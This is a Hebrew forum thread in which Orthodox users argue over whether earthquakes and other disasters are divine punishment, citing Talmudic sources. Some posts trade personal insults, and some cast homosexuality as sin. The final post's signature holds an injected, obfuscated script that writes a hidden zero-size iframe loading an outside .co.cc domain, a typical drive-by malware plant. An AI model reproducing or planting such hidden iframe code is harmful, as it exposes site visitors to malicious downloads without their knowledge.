|
|
| נשלח ב-2/12/2014 11:15 |
 |
| |
טעות
תוקן על ידי ירוחםשמ ב- 02/12/2014 11:16:31
|
|
|
|
| נשלח ב-2/12/2014 14:08 |
|
| |
נישט
לא ידעתי שחש מי שמאשים את ארבעת צרכני לחם שנהרגו בגלל שהסכימו לשלם את מחירו לאחר ההעלאה. לא חשבתי שעד כדי כך...
ובכלל - חשוב לרבנים יותר שאנשים יתנהגו כדת מאשר מה שיחשבו על דרכי ה' [וע"ע - ריצת האמוק הליטאית לסגולות והבטחות (עד כדי הגעה לשנוי בצביון הדת) רק בכדי לחזק את סגירות המחנה ולהלהיב לב אביוני דעת וממון]. אם זה בסדר - זה עניין אחר
|
|
|
|
| נשלח ב-2/12/2014 15:19 |
|
| |
| נישטאיך כתב: |  |
סיבות כמו... שרעידת האדמה היתה כעונש על משכבי זכר.. אינן מנוף רוחני |
|
רעידת אדמה בעון משכב זכר, זה מאמר חז"ל בירושלמי ברכות ב' ט', אם זה מצחיק אותך, וצחוקך מהווה עבורך מנוף רוחני, מדוע אתה מתתפש לדתי?
אני לא דואג, מיד מימוני יבא להסביר.
|
|
|
|
| נשלח ב-2/12/2014 15:33 |
|
| |
ישיבי
מדוע אתה חושב שכל דתי חייב לחשוב כמוך. סיפורי הגמרא הם סיפורי הגמרא,לפעמים עצובים ולפעמים מצחיקים- ולא אסמכתא.
האייפון אסור והוא שגרם לכל הרציחות. הדברים הרי ברורים כשמש.
|
|
|
|
| נשלח ב-2/12/2014 16:08 |
|
| |
ירוחם
אני בטוח שנישט יהיה מאושר מהאופן הבהיר בו פירשת את דעתו ואת דבריו
וזה כל מה שביקשתי ממנו שיאמר זאת במפורש כמוך, ולא יתחפש.
|
|
|
|
| נשלח ב-2/12/2014 16:14 |
|
| |
ישיב
להחסיר מכשול מדרך עמי.חדש יחסית אתה במחוזותנו- ואינך מכיר ויודע את נישטאייך,
כאחד שאני מכיר אותו יותר- מעיד אני כי הזרת שלו עבה הרבה יותר ממותניהם של הרבה מהכותבים כאן, ועבה יותר מהרבה מאד גדויילים שאינם כותבים כאן.
|
|
|
|
| נשלח ב-2/12/2014 16:42 |
|
| |
שיחת תלמידי חכמים שהזרת שלהם עבה, צריכה תלמוד, וקל וחומר בדיחותיהם. ולכן אני בעד להסביר באופן ברור את דעתם, כפי שעשית.
|
|
|
|
| נשלח ב-2/12/2014 23:48 |
|
| |
איני סנגורו של נישטאייך- כפי שכתבתי אתה חדש כאן, ואינך מכיר אותו. הוא מעולם לא הציג את עצמו או את דעתו בצורה, שאתה התיימרת לתת לו.
אנשים קטנים זקוקים לתחפושת, בכדי להבליט את עצמם. אנשים גדולים לא צריכים ולכן לא מתחפשים.
השמש בבית המדרש של רבנן גמליאל- נותן לו להכנס לבית המדרש- תוכו כברו.
|
|
|
|
| נשלח ב-3/12/2014 05:57 |
|
| |
ישיבישער
<רעידת אדמה בעון משכב זכר, זה מאמר חז"ל בירושלמי ברכות ב' ט', אם זה מצחיק אותך, וצחוקך מהווה עבורך מנוף רוחני, מדוע אתה מתתפש לדתי?>
איני יודע אם הסיבה להבנתך המוגבלת והמעוותת, היא תוצאה של נפילה בילדותך מעץ, או מחוסר חמצן בשעת לידה. היכן ראית שהתייחסתי בהודעותי לסיבות לעונשים בדברי הגמרא? חזרתי מספר פעמים שמה שמצחיק אותי הוא שרבנים שונים מוצאים את הסיבות לעונשים בימינו בחטאי אחרים שהם''flavour of the month''. להבנת ביטוי זה ראה: http://idioms.thefreedictionary.com/the+flavour+of+the+month) אכן, מצאנו מאמר חז"ל בירושלמי ברכות ב' ט' שרעידת אדמה היא בעון משכב זכר, אך האם שאלת את עצמך מהו פירושו, האם כל רעידת אדמה היא עונש על משכבי זכר, או שתיתכן רעידת אדמה ללא משכב הזכר, או מדוע לא מצאנו שהסבירו את רעידת האדמה שהיתה בצפת רעידת האדמה בצפת (1837) – ויקיפדיה כעונש על משכבי זכר, וחיפשו סיבות אחרות, האם גם הם לא ידעו מהירושלמי, או שלעגו עליו?לסיום:אין לי כל ענין להמשיך להגיב על הודעותיך.ניתן להתווכח עם אדם המסוגל להבין, אף אם אינו רוצה להבין, אך אין כל טעם לנסות להתווכח אם אדם שאינו רוצה להבין ואינו מסוגל להבין.
 |
|
|
|
|
|
| נשלח ב-3/12/2014 07:38 |
|
| |
ישיבי
האם לא יתכן ותהיינה טעויות בגמ'? אם מצינו שסנהדרין יכולה לטעות מנין שלגמ' חסינות? האם הסמכות ההלכתית של הגמ' נובעת מהעדר טעויות או כמו סנהדרין? ואם כסנהדרין האם לסנהדרין היתה סמכות בענ הייני דעות? ידועים דברי הר"מ בפיה"מ לגבי דבר שאין בו זכות או חובה
|
|
|
|
| נשלח ב-3/12/2014 07:52 |
|
| |
ישיביש
תודה על המקור.
הבה נתבונן בו.
תלמוד ירושלמי (וילנא) מסכת ברכות פרק ט
אליהו ז"ל שאל לר' נהוריי
מפני מה באין זועות לעולם אמר ליה בעון תרומה ומעשרות.
כתוב אחד אומר [דברים יא יב] תמיד עיני ה' אלהיך בה וכתוב אחד [תהילים קד לב] המביט לארץ ותרעד יגע בהרים ויעשנו. הא כיצד יתקיימו שני כתובין הללו בשעה שישראל עושין רצונו של מקום ומוציאין מעשרותיהן כתיקונן תמיד עיני ה' אלהיך בה מראשית השנה ועד אחרית השנה ואינה ניזוקת כלום. בשעה שאין ישראל עושין רצונו של מקום ואינן מוציאין מעשרותיהן כתיקונן המביט לארץ ותרעד.
אמר ליה בני חייך כך היא סברא דמילתא. אבל כך עיקרו של דבר אלא בשעה שהקב"ה מביט בבתי תיטריות ובבתי קרקסיות יושבות בטח ושאנן ושלוה ובית מקדשו חרב הוא אפילון לעולמו להחריבו. הה"ד [ירמי' כה ל] שאוג ישאג על נוהו. בשביל נויהו.
אמר ר' אחא בעון משכב זכר. אמר הקדוש ברוך הוא אתה זיעזעתה איברך על דבר שאינו שלך. חייך שאני מזעזע עולמי על אותו האיש.
ורבנן אמרו מפני המחלוקת. [זכריה יד ה] ונסתם גיא הרי כי יגיע גיא הרים אל אצל.
אם אסכם בעברית שלנו, אז כך:
יש שיחה בין ר' נהוריי (=נהוראי כנראה בכתיב אחר, ארץ ישראלי) לבין אליהו ז"ל (כדאי לברר מה השם המקורי כאן ואם זו אמורה להיות שיחה עם אליהו הנביא, ואם כן, איך). אליהו מציג את השאלה מדוע יש רעידות אדמה.
יש לשים לב לשאלה ולהנחות היסוד שלה. רעידות אדמה אינן מגיעות סתם. ההנחה היא שהן עונש.
כדאי להוסיף לדיון גם סוגיה דומה בבבלי עם כיוון אחר לגמרי, לכאורה.
תלמוד בבלי מסכת ברכות דף נט עמוד א
ועל הזועות. מאי זועות? אמר רבי קטינא: גוהא. רב קטינא הוה קאזיל באורחא, כי מטא אפתחא דבי אובא טמיא גנח גוהא. אמר: מי ידע אובא טמיא האי גוהא מהו? רמא ליה קלא: קטינא קטינא, אמאי לא ידענא? בשעה שהקדוש ברוך הוא זוכר את בניו ששרויים בצער בין אומות העולם מוריד שתי דמעות לים הגדול, וקולו נשמע מסוף העולם ועד סופו, והיינו גוהא. אמר רבי קטינא: אובא טמיא כדיב הוא, ומיליה כדיבין. אי הכי - גוהא גוהא מיבעי ליה! - ולא היא, גוהא גוהא עביד, והאי דלא אודי ליה - כי היכי דלא ליטעי כולי עלמא אבתריה. ורב קטינא דידיה אמר: סופק כפיו, שנאמר וגם אני אכה כפי אל כפי והניחותי חמתי. רבי נתן אומר: אנחה מתאנח, שנאמר והניחתי חמתי בם והנחמתי. ורבנן אמרי: בועט ברקיע, שנאמר הידד כדרכים יענה אל כל ישבי הארץ. רב אחא בר יעקב אמר: דוחק את רגליו תחת כסא הכבוד, שנאמר: כה אמר ה' השמים כסאי והארץ הדם רגלי
והרי היו כמה תשובות אפשריות, אם כי לא כולן בימיהן.
1. רעידת אדמה מתרחשת בשעה שיש תנועה והתנגשות בין שכבות טקטוניות (אני מקוה שזו המילה) של יבשות מתחת לאדמה שאנו חיים עליה, עמוק עמוק. יש מתחים והם מתפרצים בצורת רעידת אדמה (התשובה המדעית).
2. העולם מזדעזע בשעה שהקב"ה נזכר בצער בניו בגלות ובחורבן המקדש (בבלי).
3. עונש. וכאן יש כמה תשובות: בשל תרומות ומעשרות, בשל משכב זכר, בשל מחלוקת (ולא התבאר כאן מהי אותה מחלוקת ועד כמה היא נפוצה ובאיזה ענין, ואם היא בין המנהיגים או הרבנים או בין קהילות או בתוכן).
לגבי עונש אנו עשויים להמשיך ולשאול: האם העונש בא לכפרה, לעורר לתשובה. ויש לדון בכל הפילוסופיה של ענישה בתלמוד ובכלל. הרי כאשר יש עונש קיבוצי נפגעים לאו דווקא הרשעים עצמם וזה קושי תיאולוגי. ואני רק מציין את הקושי ויש לו תשובות.
כפי שציין נישטאיך, אנו עשויים לשאול על הטווח הלוגי של הביאור. האם הכוונה היא שכל רעידות האדמה הן עונש (או ביטוי צער) או רק חלקן, למשל בארץ ישראל, או במקום שבו יש יהודים. וכמה צריך להיות המינימום בסולם ריכטר כדי שזו תהיה רעידת אדמה שעליה מדובר כאן.
יש גם להציג את השאלה מה בין התשובה המדעית (1) לבין התשובות המטפיזיות- השגחתיות (2-3). הם הן סותרות או קיימות במקביל. התשובה הפשוטה אבל הטעונה הסבר היא שאמירה מטפיזית יכולה להתקיים לצידה של תשובה מדעית. והדברים אולי ארוכים אם זה לא מובן מספיק מה שכתבתי כאן.
מעתה עלינו לשאול: איך עלינו להתייחס לרעידות אדמה (ותופעות של אסונות הפוגעים בבני אדם): כעונש, כביטוי צער, כתופעה של חוקי הטבע שאין לה משמעות מטפיזית?
ומה פירושו של "עלינו" זה? האם זו חובה כי זה פשוט נכון (כפי שמי שלא מאמין ששתים ועוד שתים הן ארבע לא עבר על דין תורה אבל טעה בדבר יסודי) או שיש כאן חובה דתית (כעין מה שנאמר בתורה לא ללכת בקרי כלומר להתעלם מעונשים ציבוריים).
לשאלה האחרונה, מהי החובה שיש כאן, ניתנו כמה תשובות מנוסחות ואפשר גם ללמוד על התשובות מתוך מעשים: התייחסויות של רבנים, החל בסיפורים מהגמרא (מעשה באמורא שהחמיצו לו חביות יין רבות) ועד לזמננו זה ולתגובות לאסונות, כמו באסון האחרון ה' ירחם.
האם יש לראות באסון חובה דתית לחזרה בתשובה? האם ניתן ללמוד מן האסון על הנושא המרכזי שעליו יש לחזור בתשובה? ואיך יודעים מהו החטא.
לכאורה, הדיון בירושלמי אכן קובע לנו צורת התייחסות. אסון טבע (אם אותה רעידת אדמה גרמה לפגיעה או רק היתה איום ותזכורת למה שעלול לקרות) הוא עונש. ועל מי שחטא לחזור בתשובה.
שלושה הסברים מוצעים בסוגיה. דומה שהם מתבססים על שיקול הדעת או על דיוק בפסוקים. הייחוס של העונש למשכב זכר בנוי על סברה של מידה כנגד מידה (מה הוא נענע על דבר שאינו שלו, גם הקב"ה מנענע את העולם כולו) ויש מי שדורש פסוקים.
ועוד: האם הפרשנים והדרשנים חולקים או מציעים הסברים חליפיים? שכולם צריכים להיבדק?
והאם זו חובת הציבור לחפש ולהעניש (כפי שמצאנו למשל בתעניות ציבור, שהיה בית דין יושב לבדוק) או שזו חובה אישית כיצד להתייחס?
שוב, לשאלות אלו ניתנו תשובות שונות. וקשה בעיני לומר שמי שיפרש כמו הרמב"ם והגרי"ד - שזו חובה פרשנית ואישית של התעוררות, או על בית דין לטפל, אבל לא ניתן לקבוע מסמרות ולומר זה מחמת זה - מי שיפרש כך יהיה אפיקורס או מזלזל. ומי שיפרש אחרת, ויטען שבידו ההסבר, גם הוא יכול לעשות זאת אם הוא רוצה ללכת בעקבות חז"ל בסוגייה בירושלמי (ובעוד מקומות). אבל דומה שמי שירצה להציע הסברים יצטרך ענווה מעל לכל. זהירות לא לומר: אני בטוח שזה כך ולא אחרת. ולא לומר "קבלו דעתי".
(אני הבנתי את נישטאיך שכוונתו לערער על אלו שאומרים בהקשר כזה "קבלו דעתי" או שמייחסים להם גישה כזו, אבל כבר איני מעז לפרשו, סמיילי מחמת מוראו של ישיביש).
מה שכתבתי כאן נראים כלבני היסוד שעליהם צריך לבנות התייחסות לסוגיה זו. אפשר כמובן להוסיף על הדברים ולתקן אם טעיתי (ובשמחה אקבל).
נדמה לי שכל הדרשנים בזמננו שקוראים לציבור לתקן משהו ומצביעים על עבירות מקפידים להוסיף שהם אינם יודעים אלא משערים וזה נושא שראוי לצעוק עליו. אבל לא בדקתי כל אחד ואחד מהם בנפרד. וגם אי אפשר לדעת לפי ציטוטים בעיתונים או באינטרנט את כל הדרשה שלהם אלא רק את הנקודות שהכתב רוצה להבליט.
(לנישטאיך: לגבי צפת, מעניין שבספרו של הרח"ו הוא מאשים כמה מן הדמויות המפורסמות ביותר של צפת במשכב זכר).
|
|
|
|
|
| נשלח ב-3/12/2014 07:55 |
|
| |
נישטאיך
סביר שתקפיד על מי שניסית להסביר לו והוא לא קיבל.
וכפי שזה קורה לך שאתה מקפיד, קורה גם לאחרים. גם לישיביש. גם לו יש תפיסה, וגם הוא בצער על שלא הצליח להסביר באופן שהצליחו להבין.
אבל גם מי שמקפיד אינו צריך לתת ביטוי להקפדה זו במילות עולבות. וזה מחוקת הפורום. בבקשה להקפיד. אנו כותבים על מנת שלא יבינו אותנו ויתקפו אותנו ויהיה עלינו לטרוח עוד פעם ועוד פעם. לא חייבים להתעקש להסביר, אבל אם מסבירים, אז רק בלשון רכה ונעימה.
זה גם הסיכוי היחיד שיקשיבו לנו, הנמען שלנו ואחרים.
ולהשומע ינעם. אני מבטיח.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-3/12/2014 08:40 |
|
| |
| נישטאיך כתב: | | איני יודע אם הסיבה להבנתך המוגבלת והמעוותת, היא תוצאה של נפילה בילדותך מעץ, או מחוסר חמצן בשעת לידה. היכן ראית שהתייחסתי בהודעותי לסיבות לעונשים בדברי הגמרא? חזרתי מספר פעמים שמה שמצחיק אותי הוא שרבנים שונים מוצאים את הסיבות לעונשים בימינו בחטאי אחרים שהם''flavour of the month''. אכן, מצאנו מאמר חז"ל בירושלמי ברכות ב' ט' שרעידת אדמה היא בעון משכב זכר, אך האם שאלת את עצמך מהו פירושו, האם כל רעידת אדמה היא עונש על משכבי זכר, או שתיתכן רעידת אדמה ללא משכב הזכר, או מדוע לא מצאנו שהסבירו את רעידת האדמה שהיתה בצפת רעידת האדמה בצפת (1837) – ויקיפדיה כעונש על משכבי זכר, וחיפשו סיבות אחרות, האם גם הם לא ידעו מהירושלמי, או שלעגו עליו? |
|
שים לב איך אתה ממשיך להתפתל כצלופח, כתבת שלקשור בין רעידת אדמה למשכב זכר "זה דבר שלא מהווה מנוף רוחני". שאלתיך: הרי חכמים קשרו בין זה לזה, כוונתם הייתה כן לתת מנוף רוחני או בכל אופן משהו שהוא חלק מחיי הדת, לפשפש במעשיו של הציבור. ומה תשובתך? למה את רעידת האדמה בצפת לא קישרו למשכב זכור? נו באמת, האם מישהו אמר שכל משכב זכור מביא רעידת אדמה, או שכל רעידת אדמה היא על משכב זכור? כל מה שאמרו חכמים הוא שייתכן קשר בין שתי התופעות. אין לי מושג מה היה המצב המוסרי בצפת בימי הרעש, ואין לי מושג גם איך הסבירו את הרעש, או האם מי שהסביר או לא הסביר אז הוא סמכות שמכחה אתה לומד כל מיני הלכות מה צריך לעשות ומה לא.. מה שכן יש לי מושג, שהיום יש פריחה בנושא הגאווה ומצעדיה. אני באופן אישי לא מוצא דרכים ברורות לדעת איזו עברה מביאה איזה עונש, אבל אם אני רואה מישהו שמשתמש בדברי חז"ל בנושא כמנוף רוחני, אני לא לועג לו. אתה לעומת זאת לועג למי שבסך הכל חוזר על דברי חכמים, קובע שאין בדבר שום קשר לרוחניות ולדת, ולאחר מכן מתפתל בתשובות סרק ומדוחים.
|
|
|
|
| נשלח ב-3/12/2014 08:45 |
|
| |
תלמיד
האם טענתי שלא ייתכן שחז"ל טעו? זה מה שאמרתי לירוחם, שהוא הסביר את נשטאיך מעולה, הבעיה היחידה שנשטאיך לא מוכן להודות שזה מה שבא לומר, שמי שחושב בזה כמו חז"ל הוא דביל, כי זה יקלקל לו את הפוזה של דתי אינטילגנט שצוחק על החשוכים.
מיימוני
מוזר מאד מה שכתבת על רח"ו, כי הוא נפטר לפני הרעידת אדמה המפורסמת. ואולי כוונתך שזו היתה מסורת בצפת, מי יודע.. יש באמת אגדה כזו שהיו הרבה שבתאים שנמשכו באותה תקופה לעיר הקבלה ועשו שם תיקונים מיניים, אפילו אהוד בן עזר מספר על זה.
|
|
|
|
| נשלח ב-3/12/2014 10:01 |
|
| |
ישיביש
הבה נבדיל בין שתי צורות פרשנות. ושתי רמות של דיוק.
1. מה שנאמר הוא בהכרח נכון.
2. מה שנאמר עשוי להיות נכון.
א. הגישה האונטלוגית-מהותנית: אם קרה דבר לא טוב, יש לו סיבה מוסרית - כפרתית - מעוררת בתשובה - באופן הכרחי. ואפשר לחפש בטבלה מה גורם למה.
ב. הגישה הפרגמטית: חובה עלינו להתחזק ולהתעורר עקב אסונות.
את גישה ב' אפשר לכנות, לפי שיטתך ושיטת נישטאיך גם יחד, בתור "מנוף רוחני". זה שם מוצלח לדעתי. אך יש לשים לב שהמנוף הרוחני הוא רק פרגמטי.
(ציטוט מדבריך לגבי פרשנות כזו: הרי חכמים קשרו בין זה לזה, כוונתם הייתה כן לתת מנוף רוחני או בכל אופן משהו שהוא חלק מחיי הדת, לפשפש במעשיו של הציבור. )
לפי פשטות הסוגיות שהבאתי, הביאור של חכמים שואף להיות מדוייק ואונטולוגי-מהותני. יש טבלה שאפשר לחפש בה אחרי הסברים למכה כמו רעידת אדמה.
כיון שזה לא מתקבל על דעתנו, כלומר יש לנו הנחת יסוד שחז"ל לא יתחייבו למהלך כזה שבבירור אינו יכול להחזיק מעמד, אנו נוטים לפרש אותו מחדש. מדובר ברמת דיוק מסוג 2, זה אפשרי אבל לא הכרחי. או בסוג פרשנות פרגמטי.
כך גם דעתי, אבל יש להודות שזה לא מתאים כל כך לפשטות הלשון בגמרא.
עתה בנוגע לויכוח בינך לבין נישטאיך.
האם שניכם מסכימים שיש להתייחס לאסונות ולפרשם כמנוף רוחני. במובן הלא מדוייק והאפשרי או אפילו רק הפרגמטי?
אם כן, אז מה בדיוק נשאר לחלוק לגביו? אולי היחס לרבנים-דרשנים-פרשנים בזמננו? או למצטטיהם?
אני מציע נקודה למחשבה. אם הפרשנות היא מנוף רוחני, כלומר פרגמטי, אז יש לבדוק את המנוף בכל זמן ובכל עת. גם מצד התוכן וגם מצד הסגנון.
מה שיפה בתור מנוף רוחני בתקופה מסויימת, נניח בתקופה בה כל יהודי (כמעט) מכיר באמת היהודית (לפחות כללית) זה יהיה אחרת מאשר בתקופה שבה יש ערעורים עצומים על המסורת שלנו כפשוטה (גם בינינו האורתודוכסים ואפילו החרדים לדבר ה').
יתכן שכפי שחרה לך לגבי ביקורתו של נישטאיך שהיא מוגזמת, כך חרה לנישטאיך לגבי הביקורות המובאות בשם רבנים, שאף הן לא מדוייקות?
בעצם, למה לי לייצג את נישטאיך? אני מציג את עמדתי שלי:
חובה עלינו לחפש במה לחזור בתשובה. תמיד ובמיוחד בעת צרה.
יש חזרה בתשובה פרטית (אני במעגל חיי) ויש חזרה בתשובה כללית (של הציבור).
אין דרישה מהציבור כדרישה מן היחיד.
יש דברים שהציבור הדתי והחרדי יכולים לעשות ויש שלא או כמעט לא.
אם מחפשים לעורר את הציבור החרדי, יש עוולות גדולות הצועקות לשמים. (גזענות, סמינרים וישיבות, כספי ציבור, מחלוקות המשסעות את הציבור).
יתכן שלא ניתן לתקן את העוולות האלו בצורה פשוטה או בכלל.
אבל אם צריך לזעוק, אז זה נגדן, ולא נגד חומרות או סתם החמרות (מהדרין שלא ישב איש ליד אשתו באוטובוס, שעון יד לגברים...) ולא להלקות על הלב של החילונים, למרות שעברותיהם חמורות הרבה הרבה יותר (התופעה ה"גאה" למשל, פריצות ועוד).
__נוספה רשימה קצרה של דברים שלא צריך לדרוש בציבור שצריך להתחזק בהם_______________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");
תוקן על ידי מיימוני ב- 03/12/2014 10:02:43
|
|
|
|
|
|
